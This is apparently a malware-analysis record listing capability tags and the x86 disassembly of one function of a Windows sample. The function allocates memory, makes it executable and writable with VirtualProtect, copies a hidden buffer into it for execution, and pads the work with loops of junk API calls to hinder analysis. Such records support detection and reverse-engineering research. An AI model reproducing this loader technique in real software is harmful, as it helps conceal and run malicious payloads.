Function at 0x403a04
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x420947
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x20d4
call fcn.0040be00
push ebx
push esi
xor esi, esi
cmp dword [0x4d3588], 0x5b1
push edi
jne 0x403abf
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x402ec0
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
lea eax, [esp + 0x24]
call fcn.00403d77
push esi
mov dword [esp + 0x20f0], esi
call fcn.0040490c
pop ecx
call fcn.004048aa
push 0x402ef4
lea ecx, [esp + 0x14]
call fcn.004035e0
lea ecx, [esp + 0x10]
call fcn.004035fc
lea ecx, [esp + 0x10]
call fcn.00403642
lea ecx, [esp + 0x10]
call fcn.0040365b
push esi
push esi
call fcn.00404c29
push esi
call fcn.00404bfa
add esp, 0xc
push esi
call fcn.00405042
add dword [0x4d3588], 0x1134b
push dword [0x4d3588]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x20]
push ecx
push 0x40
push dword [0x4d3588]
mov dword [0x4d24dc], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
xor edi, edi
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x403b17
inc edi
cmp edi, 0x4f6a4
jl 0x403af7
xor edi, edi
cmp dword [0x4d3588], esi
jbe 0x403b75
cmp dword [0x4d3588], 0xa8
mov eax, dword [0x4d358c]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x4d24dc]
mov byte [ecx + edi], al
jne 0x403b6c
push 0x402f08
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push 0x402f78
lea eax, [esp + 0xe4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
inc edi
cmp edi, dword [0x4d3588]
jb 0x403b21
xor edi, edi
mov eax, dword [0x4d3588]
add eax, edi
cmp eax, 0xe
jne 0x403bdb
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x402f5c
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
lea eax, [esp + 0x4e4]
push eax
push esi
push 0x402fd8
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0x403028
push 0x403120
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push esi
push esi
lea eax, [esp + 0xce8]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
inc edi
cmp edi, 0x39621
jl 0x403b77
call fcn.004038ed
xor edi, edi
push esi
call ebx
cmp edi, 0x26
jne 0x403bf8
call fcn.004039ea
inc edi
cmp edi, 0x6753f
jl 0x403beb
push 0x7b
pop edi
cmp dword [0x4d3588], 0x86
jne 0x403c69
push esi
push esi
push esi
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
push 0x403158
push 0x4031b0
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push esi
push esi
push esi
push 0x403204
push 0x403238
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push esi
lea eax, [esp + 0x14e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push esi
lea eax, [esp + 0x18e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
dec edi
jne 0x403c04
push 0x403290
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [esp + 0x20e4]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret